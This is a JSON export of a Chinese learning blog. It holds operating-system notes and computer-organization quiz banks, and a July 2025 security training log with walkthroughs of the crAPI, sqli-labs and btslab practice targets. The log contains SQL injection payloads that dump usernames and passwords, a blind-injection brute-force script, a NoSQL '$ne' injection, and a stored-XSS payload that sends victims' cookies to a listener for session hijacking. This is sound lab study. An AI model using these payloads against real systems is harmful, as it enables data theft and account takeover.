其中，文件1是根目录，文件3是docs目录，文件2是hello.txt。而根目录的数据块10中保存了根目录下目录（即文件名到文件编号的映射表），docs的数据块20中保存了docs下目录。\n当要按照/docs/hello.txt开始查找，OS会先分析语法，然后开始查找：\n路径从/开始，因此从根目录文件1开始 读取根目录内容，读取到映射表，在映射表中查找“docs”，得到文件编号3 读取文件编号3下的块内容，又读到映射表，在映射表中查找“hello.txt”，得到文件编号2 读取文件记录2，得到文件编号2的一系列文件信息，可以开始读取 即：每个目录都有属于自己的块，而在块中存储了一份目录映射表；在文件记录那里又存储了一份所有文件的文件编号-文件信息的表。\n这时，只要MYFS规定，除根目录外，每个文件或目录都只属于一个父目录，就形成了一颗以根目录为起点的树\n到这里，这个文件系统已经可以向上提供一种能力：组织文件，并根据文件名读写数据\n​\n由于处理方式和内存限制等因素，应用常常分多次读写文件。为了支持这种持续访问，操作系统提供打开文件的机制，保存访问对象、访问方式和当前偏移等状态；应用则负责具体的处理流程。因此，向上增加一层：打开文件并建立一份临时的访问状态。\n操作系统因此提供open借口：open(\u0026quot;/docs/hello.txt\u0026quot;，READ);\nMYFS会解析路径，找到文件编号2，然后在内存中建立一份“打开文件记录”：{目标文件编号：2；访问方式：只读；当前偏移：0}\n这份记录描述“这一次打开产生的访问状态”，而不记录文件本身的属性（如长度类型数据块位置），两者的生命周期也不同\n接下来，OS给应用一个整数作为这份打开状态的入口，例如 7 。这个整数叫文件描述符\n文件描述符7和文件编号2是两种编号。至此，应用程序可以调用read(7, buffer, 100);\n访问结束时，可以调用close(7)，结束这份访问状态的生命周期。到这里，就提供了我们熟知的open、read、close等系统调用接口。\nLinux的访问控制模型 将文件系统与访问控制进行融合 ​\n​\n​\n​\n","date":"2026-10-11","draft":false,"permalink":"/posts/operating-systems-notes/","section":"操作系统","summary":"从硬件与内核结构出发，记录内存管理、进程与线程、任务调度、进程间通信和文件系统的学习过程。","tags":["操作系统","学习笔记"],"title":"操作系统笔记"},{"content":"源码目录结构 基于Linxu 5.6.18版本的源码\nArch：包含与硬件体系结构相关代码 Block：块驱动设备IO调试 Crypto：相关常用密码学算法 Documentation：内核各部分的通用注释 Drivers：设备驱动程序 Fs：(file system)支持的各种文件系统 Include：头文件 Init：Linux内核初始化代码 Ipc：进程间通信相关代码 Kernel：内核核心部分 Lib：库文件代码 Mm：内存管理 Net：网络协议栈 Scripts：用于配置内核的脚本 Security：安全机制相关 Sound：音频设备驱动相关代码 Usr：实现用于打包和压缩的cpio等 ","date":"2025-07-15","draft":false,"permalink":"/posts/0x01-linux-kernel-%E7%BB%84%E7%BB%87%E7%BB%93%E6%9E%84/","section":"Linux 内核","summary":"源码目录结构 基于Linxu 5.6.18版本的源码 Arch：包含与硬件体系结构相关代码 Block：块驱动设备IO调试 Crypto：相关常用密码学算法 Documentation：内核各部分的通用注释 D…","tags":[],"title":"0x01 Linux kernel 组织结构"},{"content":"day1 搭环境、PHP基础 让搭的环境也太古老了，win7，UOS20，我选择在OS层面什么都不做，直接上我的WSL ubuntu 22.02\n部署LNMP 目标：在类unix系统上部署LNMP\n我选择使用docker建立一个Ubuntu 22.04 LTS环境，并在其上做以下事情：\n安装并配置nginx 安装DBMS并配置 安装PHP 完成discuz!的搭建 先拉一下image:\ndocker pull ubuntu:22.04 然后随便创建个目录，再在目录里创建dockerfile\n使用以下dockerfile建立容器：\nFROM ubuntu:22.04 WORKDIR /root # noninteractive 配置时不需要输入任何信息 ENV DEBIAN_FRONTEND=\u0026#34;noninteractive\u0026#34; # 配置时区 ENV TZ=Asia/Shanghai # 配置apt源 RUN sed -i \u0026#39;s@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g\u0026#39; /etc/apt/sources.list # 安装必要的软件 RUN apt update \u0026amp;\u0026amp; apt install -y init locales # 配置语言环境 RUN locale-gen en_US.UTF-8 # 配置 entrypoint 为 init, 是 init 可以作为 pid 1 运行, 并且可以启动 systemd RUN passwd -d root ENTRYPOINT [\u0026#34;/usr/sbin/init\u0026#34;] 使用以下命令创建镜像与容器：\ndocker build -t ubuntu:22.04-systemd . docker run -p 8080:80 -it --privileged --name ubuntu -h ubuntu ubuntu:22.04-systemd 运行容器进入ubuntu后，login时输入用户名root，要求输入密码不用管，直接回车。\n进入容器后，执行下列命令：\napt update apt install nginx rm /etc/nginx/sites-enabled/default vim /etc/nginx/sites-enabled/test.conf 在test.conf中粘贴以下内容:\nserver { listen 80; root /var/www/html; server_name _; #charset koi8-r; access_log /var/log/nginx/access.log; location / { index index.php index.html index.htm; } #error_page 404 /404.html; #redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /var/www/html; } #pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # location ~ \\.php$ { fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 然后保存退出，后执行下列命令：\napt install mariadb-server mariadb-client systemctl start mariadb systemctl enable mariadb mysql 执行下列sql语句：\nCREATE USER \u0026#39;user_dz\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;P@ssw0rd\u0026#39;; create database db_discuz default character set utf8 collate utf8_general_ci; grant all on db_discuz.* to \u0026#39;user_dz\u0026#39;@\u0026#39;localhost\u0026#39;; flush privileges; 然后exit退出mariaDB\n然后开始安装php\napt install software-properties-common add-apt-repository ppa:ondrej/php add-apt-repository ppa:apt-fast/stable apt update apt install apt-fast apt-fast install php7.4 php7.4-bcmath php7.4-cli php7.4-common php7.4-curl php7.4-fpm php7.4-gd php7.4-gmp php7.4-imagick php7.4-intl php7.4-json php7.4-mbstring php7.4-mysql php-pear php7.4-xml php7.4-xmlrpc php7.4-zip php7.4-imap -y systemctl start php7.4-fpm systemctl enable php7.4-fpm systemctl restart nginx systemctl enable nginx 然后向/var/www/html/index.php中写入内容：\necho \u0026#39;/var/www/html/index.php\u0026#39; \u0026gt; /var/www/html/index.php 然后可以在主机上访问127.0.0.1:8080端口，得到结果。\n使用类似如下命令可以将主机上的upload文件夹复制进容器：\ndocker cp /home/nokk/2025-7-实训/upload ubuntu:/var/www/html 使用下面命令修改文件所属组和所有者：\nchown -R www-data:www-data /var/www/html 然后进入127.0.0.1:8080/upload/admin.php，一步步安装即可。注意此处数据库设置要对照之前执行的SQL语句。\nday2 搭建API靶场、API安全 搭建crAPI靶场 在docker-compose.yml文件目录下执行：\nsudo docker compose pull docker compose up -d 靶场会暴露在127.0.0.1:8888\ncrAPI是OWASP推出的一个API安全靶场，其模拟一个汽车维修管理平台，在API设计上故意暴露了许多漏洞。\n认识API安全 API安全有以下几个特性与其对应风险\n机密性——明文传输、token泄露 完整性——request/response被中间人拦截并修改 可用性——DDOS等攻击 认证——弱口令、token伪造 授权——越权（水平/垂直越权） 审计——无日志、日志被删 常见的API安全漏洞及其攻击手法 失效的对象级授权 Broken Object Level Authorization (BOLA) 基本原理：服务端读取数据时，只按照读取对象的id读取数据，但是并未验证对象是否属于该用户，从而造成攻击者可以非法读取其他用户的隐私数据\n对应crapi challenge 1 与 challenge 2\n在challenge1中，使用yakit抓包，可以获取到泄露的vehicle id\n使用该vehicle id可以未授权直接访问该车辆的信息，而不会检验车主\n在challenge2中，可以获取到report地址\n直接访问会提示JWT token，导致401，但在yakit中带上我们自己的token重放也还是能越权访问到其他车辆信息，说明其后端只是要求你发送token，但没有对token与车辆id是否合法进行校验。\n失效的用户身份验证 基本原理：在身份验证API处，对OTP、token等未限制爆破，\nchallenge3：\n其他用户邮箱可从api返回信息进行泄露。得到邮箱后在忘记密码处，在v2下对他人验证码进行爆破。\n过量数据暴露 基本原理：API返回信息非最小满足可用，而是返回了过量的（可能很多根本用不到）信息，这些信息可以被攻击者所获取\nchallenge4 泄露的是用户隐私信息，可用于社工等攻击\nchallenge5 泄露的是服务器相关信息，可用于进一步技术攻击\n资源消耗无限制 Dos 基本原理：API不对用户可以请求的资源大小/数量做限制，导致拒绝服务\nchallenge 6\n失效的功能级授权 基本原理：管理接口暴露在公共端，且没有高强度的校验，导致可以执行非法操作\nchallenge 7\n视频api存在delete接口（该信息可通过OPTIONS head探测到）\nDELETE /identity/api/v2/user/videos/3 HTTP/1.1不成功，返回信息This is an admin function. Try to access the admin API\n但通过DELETE /identity/api/v2/admin/videos/3 HTTP/1.1 可直接获取管理员权限并进行视频删除操作\nMass Assignment 批量赋值 / 自动绑定 基本原理：把用户可控的表单参数直接映射到后端对象的对应字段。导致攻击者可以额外提交本来不应该由客户端决定的敏感字段。\n应对：设置相应字段的白名单或字段级校验。\nchallenge 8\n在审计过程中，发现可以访问其他用户的订单信息，但修改会被校验\n然而修改自己的订单信息却不仅可以访问，还可以提交PUT，可以肆意修改订单状态、商品数量等等关键信息，但是无法修改商品本身的相关信息，如价格、名字、id等。\nchallenge 9\n通过上一个漏洞，先花10美元买个商品，再将订单信息改为买了2000个商品，再去退货界面申请退货，此时订单状态会变为return pending，然后修改订单状态为returned，那么会凭空生成20000$回到账上\nchallenge 10\n修改视频名称时可以修改其他参数如转码格式等，可用来绕过文件上传过滤\nSSRF 服务端请求伪造 基本原理：寻找到接收URL的API，攻击者向服务器提交恶意URL，导致服务器作为代理向内网、本地或云环境发起非预期HTTP请求\n应对：对目标域名、ip、协议等做白名单校验\nchallenge 11 简单\n关键在于如何利用SSRF进行进一步渗透？\nNoSQl Injection 泄露敏感数据、混淆数据校验逻辑\nchallenge 12\n后端会对提交的优惠卷码进行查询比对，于是此处进行nosql注入\n\u0026#34;$ne\u0026#34;:\u0026#34;xxxxxxxxxxxx\u0026#34; SQL Injection challenge 13\n就挺奇怪的，前面还是NoSQL数据库，这里又是SQL数据库了。同一类功能下用不同的数据库？\nday3 SQL注入 环境搭建 这里直接用docker搭了\ndocker pull acgpiano/sqli-labs docker run -dt --name sqli-labs -p 8888:80 --rm acgpiano/sqli-labs 完事儿搭好以后长这样：\nSQL注入开打 之前有学过SQL注入也打过这个靶场。现在全当复习了\nless 1 先判断是字符型还是数字型 http://127.0.0.1:8888/Less-1/?id=1' and 1=1--+以及http://127.0.0.1:8888/Less-1/?id=1' and 1=2--+\n可以判断该处注入属于字符型\n判断列数 使用二分法\nhttp://127.0.0.1:8888/Less-1/?id=1' order by 10--+有报错：\n最终可以判断出colums = 3\nunion 联合注入 此时要开始注意查询回显位，因为union返回多行，后端却只取第一行，此时需要让第一行不存在⇒使得第一行查询不到任何数据，此时后面的数据就会上位，从而方便我们获得想要的数据\nhttp://127.0.0.1:8888/Less-1/?id=-1' union select 1,2,3--+\n这里注意要使得id为一个不存在的数字，其原理是：sql查询可能返回多条记录，但前端会选择第一条记录的其中某些字段显示，而union联合查询会将后续的查询结果跟在前一个查询结果的后面，我们要做的就是使得前面的查询查不到任何记录，此时后面我们做的查询就会顶替到第一行。\n上面那条注入返回的结果是：\n可以看到前端选择到第二列和第三列的字段进行了显示\n此处要进行进一步攻击，需要引入union注入过程中用到一些关键妙妙工具\n数据库information_schema，该库包含两个数据表tables与colunms，分别是表名集合表与列名集合表 于是我们可以通过该库一步步查询到靶机的所有库名、表名、列名；然后查询到我们要的隐私数据\n关键函数： database() 数据库名 system_user() 系统用户名 user() 用户名 current_user() 当前用户名 version() 数据库版本 多条数据显示函数concat() group_concat() concat_ws() 通过 http://127.0.0.1:8888/Less-1/?id=-1' union select 1,database(), 3--+查询到数据库名：\n爆表：\n?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+\ngroup_concat函数能够将多条数据以一条记录的形式展示\n可以看到这里展示了所有的表名\n爆字段：\n?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+\n爆数据：\nhttp://127.0.0.1:8888/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+\nless 2 由字符型注入变为数字型注入，其他都一样：\nhttp://127.0.0.1:8888/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from security.users --+\nless 3 http://127.0.0.1:8888/Less-3/?id=1') and 1=2--+ 可以测试出该处为字符型注入且闭合方式为')\n剩下的都一样：\nhttp://127.0.0.1:8888/Less-3/?id=-1') union select 1,group_concat(username),group_concat(password) from security.users --+\nless 4 除了闭合方式变为\u0026quot;)其他没什么不同\nless 5 这一关中，前端不再返回多余数据库内容，但是会返回报错信息。我们就需要用到报错注入。\n报错注入的原理在于，让回显的报错信息中夹杂我们想要的信息\n报错注入可以基于的函数多种多样，这里只介绍其中用得比较多的几种：\nextractValue()报错注入\nextractValue()函数用来查询xml里面的内容；该函数包含两个参数：\narg1：XML文档对象名称; arg2：路径 extractvalue(\u0026#39;目标xml文件名=\u0026gt;列名\u0026#39;,\u0026#39;在xml中查询的字符串\u0026#39;); select extractValue(doc, \u0026#39;/book/author/suername\u0026#39;) from xml; 假设有一个包含XML数据的表books，其中一列为book_info包含以下内容：\n\u0026lt;book\u0026gt; \u0026lt;title\u0026gt;MySql Cookbook\u0026lt;/title\u0026gt; \u0026lt;author\u0026gt;Paul DuBois\u0026lt;/author\u0026gt; \u0026lt;year\u0026gt;2014\u0026lt;/year\u0026gt; \u0026lt;/book\u0026gt; 我们可以使用extractvalue()来提取特定节点下的值。例如，要获取书籍标题(title)：\nselect extractvalue(book_info, \u0026#39;/book/title\u0026#39;) from books; 返回的结果为:\n+-------------------+ | title | +-------------------+ | MySQL Cookbook | +-------------------+ 第一个参数可以随便写，无所谓，重点在于第二个参数\n如果我们输入的Xpath_string不对就会报错，而如果页面回显sql报错信息，就可以得到我们想要的信息了\nselect extractvalue(book_info, \u0026#39;/book/titles\u0026#39;) from books; --+ title多写了一个s，并不会报错，只是查询不到信息 select extractvalue(book_info, \u0026#39;~book/title\u0026#39;) from books; --+ 把查询参数格式符号写错，会报错 select extractvalue(1, concat(0x7e, (select database()))) from books; --+ 会先把select database()执行，再与0x7e拼接，发现拼接后的语句有错，此时报错会将select database()的信息一并暴露 --+ concat() 字符串拼接 0x7e就是飘号~(ascii) 基于以上原理，可以爆库名：\nhttp://127.0.0.1:8888/Less-5?id=1' and 1=extractvalue(1, concat(0x7e, (select database())))--+\n结果如下：\n可以爆表名：\nhttp://127.0.0.1:8888/Less-5?id=1' and 1=extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security')))--+ 以此类推，最后脱裤：\nhttp://127.0.0.1:8888/Less-5?id=1' and 1=extractvalue(1, concat(0x7e, (select group_concat(username,password) from security.users)))--+\nless 6 除了闭合方式变成了\u0026quot;其他无变化\nless 7 sql注入写马拿webshell\n要点：\nshow variables like ‘%secure%’; 用来查看mysql是否有读写文件权限 ⇒ 看secure_file_priv对应的value 数据库的file权限规定了数据库用户是否有权限，向操作系统内写入和读取已存在的权限 into outfile =\u0026gt; 用来写入文件 ⇒ 命令使用的环境：必须知道一个服务器上可以写入文件的文件夹的完整路径 先测试字符/数字型，闭合方式已经过滤符号\n用group by得到列数\nhttp://127.0.0.1:8888/Less-7?id=-1')) union select 1,2,\u0026quot;hello world\u0026quot; into dumpfile \u0026quot;/tmp/flag\u0026quot;--+\n注意在部分靶场中mysql用户可能在操作系统层面对部分目录不具有写权限（即使mysql中secure_file_priv显示有权限）\nless 8 布尔盲注\n页面无回显，只有两种状态，利用页面返回不同可逐个猜解数据\n利用语句substr((select xxx)),{0},1)='{1}'进行比对。\n非常类似于pwn中ORW的侧信道爆破\n贴一下很久以前自己写的布尔盲注脚本\nimport requests from bs4 import BeautifulSoup import threading import time import queue letters = \u0026#39;abcdefghijklmnopqrstuvwxyz\u0026#39; url = \u0026#34;http://127.0.0.1:8888/Less-8/?id=1\u0026#39; and substr((select database()),{0},1)=\u0026#39;{1}\u0026#39; --+\u0026#34; result_queue = queue.Queue() #创建结果队列 def bruteForce(i,position,dict): letter = dict[i] payload = url.format(position+1,letter) try: response = requests.get(url=payload) data = BeautifulSoup(response.text, \u0026#34;html.parser\u0026#34;) outPut = data.find_all(\u0026#39;font\u0026#39;, {\u0026#39;size\u0026#39;: \u0026#39;5\u0026#39;}) if outPut: if outPut[0].text != \u0026#39;\u0026#39;: result_queue.put((position, letter)) print(letter + str(position)) # 用一个冒泡排序算法也可解决 except Exception as e: print(str(e)) threads = [] for position in range(20): #假设数据库名在20个字符以内 for i in range(0,26): t = threading.Thread(target=bruteForce,args=(i,position,letters)) #创建线程 threads.append(t) #time.sleep(0.001) t.start() #线程启动 for t in threads: t.join() #等待所有线程结束 print(\u0026#34;爆破结束\u0026#34;) databaseName = [] dict = {} while not result_queue.empty(): (position,letter) = result_queue.get() #从结果队列取值 dict[str(position)] = letter #放入字典，为了后续排列 for i in range(len(dict)): databaseName.append(dict[str(i)]) print(\u0026#39;\u0026#39;.join(databaseName)) 效果如下：\n后面知道有sqlmap这个东西，就没有继续扩展这个脚本了\nless 9 时间盲注\n页面无论如何只有一个页面回显。\nweb页面只返回一个正常页面，也就是说没有错误页面，但可以根据页面响应时间的不同来猜解数据\n前提是数据库会执行命令代码，只是不反馈页面信息\n关键函数：\nsleep(time) ⇒ 明显可以判断命令是否被执行\nif(condition, sleep(1), sleep(4)) 如果为真，执行前一个；如果为假，执行后一个\nday 4 XSS \u0026amp; btslab 环境搭建 docker pull cryeye/btslab docker run -dt --name btslab -p 8888:80 -p 3306:3306 --rm cryeye/btslab XSS 基本原理：攻击者的恶意payload注入到页面中，被受害者本地的浏览器加以解析与执行，从而达成在目标机器上执行恶意代码。\n反射型XSS payload不会长久存储在数据库中，造成的攻击影响有限 常出现在搜索框等地方 存储型XSS payload被后端数据库长久存储，将影响到所有加载到该部分的用户 DOM型XSS 恶意代码不出现在HTML源码中，而是在浏览器解析DOM时动态执行 主要依赖客户端JS中的不安全操作（如document.write()、innerHTML、eval()等） btslab窃取用户cookie 1.Browser 1 注册账号并登录 UserName：Rjay9 Email：123@123.com Describe：Im the victim Password：123123 2.Browser 2 注册账号并发帖 UserName：Hacker Email：1234@1234.com Describe：Im the hacker Password：123123 发帖，进行存储型XSS，将恶意代码注入目标网站\n\u0026lt;script\u0026gt;new Image().src = \u0026#34;http://127.0.0.1:12345/log?c=\u0026#34; + encodeURIComponent(document.cookie);\u0026lt;/script\u0026gt; 该恶意代码主要实现将受害者cookie外带\n3.监听并获取受害者cookie 在本地起一个监听脚本：\nfrom http.server import HTTPServer, BaseHTTPRequestHandler class H(BaseHTTPRequestHandler): def do_GET(self): print(\u0026#39;收到请求:\u0026#39;, self.path) # 把 Cookie 打印出来 HTTPServer((\u0026#39;127.0.0.1\u0026#39;, 12345), H).serve_forever() 运行并监听。\n4.受害者浏览并执行恶意代码 成功将cookie外带\n此时攻击者可借助cookie伪装为受害者并进行发帖：\n先用Yakit进行抓包，并将其cookie修改为用户Rjay9的cookie：\n重放，可以看到hacker以用户Rjay9的身份发帖：\n","date":"2025-07","draft":false,"permalink":"/posts/2025-7%E6%9C%88%E5%AE%9E%E8%AE%AD%E7%AC%94%E8%AE%B0/","section":"实践项目","summary":"day1 搭环境、PHP基础 让搭的环境也太古老了，win7，UOS20，我选择在OS层面什么都不做，直接上我的WSL ubuntu 22.02 部署LNMP 目标：在类unix系统上部署LNMP 我选择使用d…","tags":[],"title":"2025-7月实训笔记"},{"content":"概述和传输层服务 多路复用和解复用 无连接传输UDP 可靠数据传输的原理 面向连接的传输：TCP 拥塞控制原理 TCP拥塞 ","date":"2025-06-27","draft":false,"permalink":"/posts/%E4%BC%A0%E8%BE%93%E5%B1%82/","section":"计算机网络","summary":"概述和传输层服务 多路复用和解复用 无连接传输UDP 可靠数据传输的原理 面向连接的传输：TCP 拥塞控制原理 TCP拥塞","tags":[],"title":"传输层"},{"content":"The level of the computer hierarchy that is composed of gates and wires is the:\ndigital logic level. The ________ is the agreed-upon interface between all the software that runs on the machine and the hardware that executes it. It allows you to talk to the machine. _______ 是运行在机器上的所有软件与执行它的硬件之间的约定接口。它允许您与机器对话\ninstruction set architecture The difference in expressive power between the physical components of a computer and a high-level language such as C++ is called a: 计算机物理组件与高级语言（如C++）之间的表达能力差异被称为\nsemantic gap. 语义鸿沟 The organization that sets standards for photographic film and the pitch of screw threads, in addition to matters concerning computers, is the 除计算机相关事务外，还制定摄影胶片和螺钉螺纹间距等标准的组织是\nISO. 国际标准化组织 The first completely electronic computer was the:\nAtanasoff-Berry Computer，简称ABC The first general-purpose programmable electronic computer was the: 第一台通用可编程电子计算机是\nENIAC. The mechanical computer that included mechanisms that provided memory and an arithmetic processing unit was the: 包含提供存储器和算术处理单元机制的机械计算机是\nDifference Engine.差分机 Cloud storage is a limited form of: 云存储是以下哪种服务的有限形式\nInfrastructure as a Service (IaaS) 基础设施即服务 Which of the following is a computer that used second-generation (transistor) technology? 以下哪项是使用第二代（晶体管）技术的计算机\nPDP-1 Software as a Service (SaaS) replaces the _________ of the computer hierarchy with an Internet-based application 软件即服务（SaaS）用基于互联网的应用程序替代了计算机层次结构中的________\ndigital logic level through user levels 从数字逻辑级别到用户级别 There are ____________ kilobytes in an exabyte.\n2^50 Which of the following is the largest unit of storage?\nTB In 1965 one of the founders of Intel predicted, \u0026ldquo;The density of transistors in an integrated circuit will double every year.\u0026rdquo; This is now known as:\nMoore\u0026rsquo;s Law. A ________ consists of an arithmetic logic unit and a control unit.\nprocessor Clock speeds in today\u0026rsquo;s microprocessors are measured in:\ngigahertz. G赫兹 The ENIAC was originally built in order to speed up calculations for: ENIAC最初建造的目的是为了加速计算\nballistics tables. There are ____________ gigabytes in a terabyte.\n2^10 We study computer _ to become familiar with how circuits and signals collaborate to create working computer systems. 我们研究计算机_以熟悉电路和信号如何协作来创建工作计算机系统\norganization - 组织 The von Neumann bottleneck: 冯·诺依曼瓶颈：\ndescribes the single processor-memory path. 描述了单一的处理器-内存路径。 The first supercomputer, the CDC 6600, had a memory size of: 第一台超级计算机CDC 6600的内存大小为\n128 kilowords. The computer component that makes sure that instructions are decoded and executed properly is the: 确保指令被正确解码和执行的计算机组件是\ncontrol unit. Many desktop computers utilize the _ bus standard in which the system augments its main bus with dedicated I/O buses using expansion slots. 许多台式计算机使用_总线标准，其中系统通过使用扩展插槽的专用I/O总线来增强其主总线。\nperipheral component interconnect - 外设组件互连（PCI） A byte stores:\none character. ________ are typically used by companies for specific applications such as data processing and financial transactions. _ 通常被公司用于特定的应用，如数据处理和金融交易\nMainframe computers 大型机 Computer ______________ concern(s) itself with instruction sets and formats, operation codes, data types, the number and types of registers, addressing modes, main memory access methods, and various I/O mechanisms.\narchitecture In 1948 John Bardeen, Walter Brattain, and William Shockley invented the:\ntransistor. 晶体管 __ allow movement of data to and from devices external to the computer.\nPorts The ________ is a processor designed to perform complex calculations required for image rendering.\ngraphics processing unit GPU The level of the computer hierarchy where an operating system functions is the:\nsystem software level. The organization that sets standards for computer components, signaling protocols, and data representation is the: 制定计算机组件、信号协议和数据表示标准的组织是\nIEEE Platform as a Service (PaaS) replaces the _________ of the computer hierarchy with an Internet-based platform. 平台即服务（PaaS）用基于互联网的平台替代了计算机层次结构中的_____\ndigital logic level through high-level language levels - 从数字逻辑级别到高级语言级别 Which of the following is a computer that used fourth-generation (VLSI) technology? 以下哪项是使用第四代（超大规模集成电路）技术的计算机\nIBM PC Deep Blue beat a human chess Grandmaster using ______ methods. 深蓝使用___ 方法击败了人类国际象棋特级大师\nbrute force Color depth reflects the number of colors that can be displayed on an LCD screen atone time.\nTrue Herman Hollerith invented punched card-tabulating machines.\nTrue The CDC 6600 supercomputer was among the first computers to employ transistors.\nTrue ","date":"2025-06-27","draft":false,"permalink":"/posts/%E9%A2%98%E5%BA%93-ch1/","section":"计算机组成","summary":"The level of the computer hierarchy that is composed of gates and wires is the: digital logic level. The …","tags":[],"title":"题库 CH1"},{"content":"671 (base 10) = ____________ (base 9)\n825 1101101 (base 2) = ____________ (base 10)\n109 557 (base 10) = ____________ (base 16)\n22D 601 (base 10) = ____________ (base 9)\n737 01D7 (base 16) = ____________ (base 10)\n471 A value represented using 16 bits will always be more accurate than a value represented using 8 bits.\nFalse The binary addition of 1 + 1 + 1 + 1 = __________.\n0100 (base 2) A biased floating-point exponent uses some manner of excess-M representation.\nTrue Excess-M notation uses unsigned integers to express negative integers.\nTrue Only a limited range of real numbers can be expressed using the IEEE 754 standard.\nTrue How is -1 (base 10) represented in 8-bit two\u0026rsquo;s complement notation?\n11111111 Assuming we are using the Hamming algorithm presented in your text and even parity to design an error-correcting code, find the code word to represent the 8-bit information word 01001000.\n010011001000 The binary string 01000110001000 is a floating-point number expressed using the 14-bit simple model given in your text. (There are no implied bits.) What is its decimal equivalent?\n2.125 Convert -52 (base 10) to binary 8-bit one\u0026rsquo;s complement.\n11001011 ________ is the hexadecimal symbol for 11.\nB 509 (base 10) = ____________ (base 16)\nIFD 1031 (base 5) = ____________ (base 10)\n141 10022 (base 3) = ____________ (base 10)\n89 138 (base 10) = ____________ (base 5)\n1023 Convert 0B2C (base 16) to binary\n1011 0010 1100 Overflow is indicated when the carry in to the high-order bit is not equal to the carry out.\nTrue 664 (base 9) = ____________ (base 10)\n544 ASCII is a 7-bit code, while Unicode is a 16-bit code.\nTrue In order to provide greater range for a floating-point number, we make the significand larger.\nFalse Convert 0.3828125 to binary with 8 bits to the right of the binary point.\n0.01100010 122 (base 10) = ____________ (base 2)\n1111010 424 (base 8) = ____________ (base 10)\n276 How is -9 (base 10) represented in 8-bit two\u0026rsquo;s complement notation?\n11110111 Signed-magnitude and two\u0026rsquo;s complement both have two representations for zero.\nFalse 355 (base 10) = ____________ (base 7)\n1015 If the most significant bit of a signed binary number is 1, that number is:\nnegative. The range of decimal values that can be expressed in 7 bits using binary two\u0026rsquo;s complement is -32 to 31.\nFalse 10122 (base 3) = ____________ (base 10)\n98 379 (base 10) = ____________ (base 7)\n1051 67 (base 10) = ____________ (base 3)\n2111 The general idea of Booth\u0026rsquo;s algorithm is to increase the speed of addition when there are consecutive zeroes or ones in the multiplier.\nFalse 210 (base 10) = ____________ (base 8)\n322 247 (base 10) = ____________ (base 8)\n367 The largest positive unsigned decimal number that can be expressed in 6 bits is 63.\nTrue CRCs use systematic error detection.\nTrue ","date":"2025-06-27","draft":false,"permalink":"/posts/%E9%A2%98%E5%BA%93-ch2/","section":"计算机组成","summary":"(base 10) = (base 9) (base 2) = (base 10) (base 10) = (base 16) D (base 10) = (base 9) D7 (base 16) = (ba…","tags":[],"title":"题库 CH2"},{"content":"The Boolean function F(x, y, z) = xy\u0026rsquo;z + (x + z\u0026rsquo; + xz\u0026rsquo;)\u0026rsquo; simplifies to:\nx\u0026rsquo;z + y\u0026rsquo;z The Boolean function F(x, y) = x\u0026rsquo;y\u0026rsquo; + x\u0026rsquo;y + xy\u0026rsquo; is equivalent to:\n(xy)' The Boolean function F(x, y) = x\u0026rsquo;y + xy\u0026rsquo; + (x\u0026rsquo;+y\u0026rsquo;)(xy) can be simplified to:\nx ⊕ y. The truth table shown below is supposed to reflect the function F(x, y, z) = (x\u0026rsquo;y\u0026rsquo; + yz) + (xy\u0026rsquo; + yz\u0026rsquo;) but two lines are in error. Identify them.\n1 and 2 The Boolean function F(x, y, z) = (y + x)(y + x\u0026rsquo;)(y\u0026rsquo;+ z) is equivalent to:\nyz Suppose the state machine shown below is in State C and receives the string 100010. What is its ending state?\nB The Boolean expressions x(x + y) = x and x + xy = x are examples of (the):\nAbsorption Law. The complement, F\u0026rsquo;, of F(x, y, z) = x(y\u0026rsquo;z + y) + x\u0026rsquo;(y + z\u0026rsquo;)\u0026rsquo; (not simplified) is:\n(x\u0026rsquo; + (y + z\u0026rsquo;)(y\u0026rsquo;))(x + (y + z\u0026rsquo;)). uppose the state machine shown below is in State B. In order for this machine to output the string 010 001 010 011 001 010 when given the input string 101101, what should the output value be as indicated by \u0026ldquo;?/???\u0026rdquo;?\n1/010 The state machine shown below is an example of a(n):\nMealy machine. The Boolean expressions, x + (yz) = (x + y)(x + z) and x(y + z) = xy + xz, are examples of (the):\nDistributive Law The Boolean expressions, xx = x and x + x = x, are examples of (the):\nIdempotent Law The Boolean function F(x, y) = x\u0026rsquo;y\u0026rsquo; + x\u0026rsquo;y + xy is equivalent to:\n(xy\u0026rsquo;)'. The Boolean function F(x, y) = x\u0026rsquo;y\u0026rsquo; + xy\u0026rsquo; + y(xy\u0026rsquo;) can be simplified to:\ny' The Boolean function F(x, y, z) = y\u0026rsquo;z + x\u0026rsquo;yz + xyz is equivalent to:\nz Suppose the state machine shown below is in State A and receives the string 10010100. What is its output?\n00 10 11 10 00 01 11 10 11 The Boolean AND operation is also known as:\nBoolean product The Boolean function F(x, y, z) = xy\u0026rsquo;z + (x + z\u0026rsquo; + xz\u0026rsquo;)\u0026rsquo; simplifies to:\nx\u0026rsquo;z + y\u0026rsquo;z ","date":"2025-06-27","draft":false,"permalink":"/posts/%E9%A2%98%E5%BA%93-ch3/","section":"计算机组成","summary":"The Boolean function F(x, y, z) = xy'z + (x + z' + xz')' simplifies to: x'z + y'z The Boolean function F(…","tags":[],"title":"题库 CH3"},{"content":"General-purpose architectures are divided into the following three groups:\nmemory-memory, register-memory, and load-store. _________ is the process whereby devices connected to a bus autonomously determine which of the devices shall have control over the bus:\ndistributed arbitration using self-selection The register that holds the address of the data to be transferred is called the __\nmemory address register If the opcode field for an instruction has n bits, that means there are _______ potential distinct operations.\n2^n A \u0026ldquo;subtract\u0026rdquo; statement is an example of a(n) _ instruction.\narithmetic What is the maximum value of the cycle counter when the following sequence of microoperations is executed?\nMAR ← X, MBR ← AC M[MAR] ← MBR 1 Suppose a system has a byte-addressable memory size of 256MB. How many bits are required for each address?\n28 Which MARIE instruction is being carried out by the RTN that follows?\nMAR ← X MBR ← M[MAR] MAR ← MBR MBR ← ACM [MAR] ← MBR StoreI X Which MARIE instruction is being carried out by the 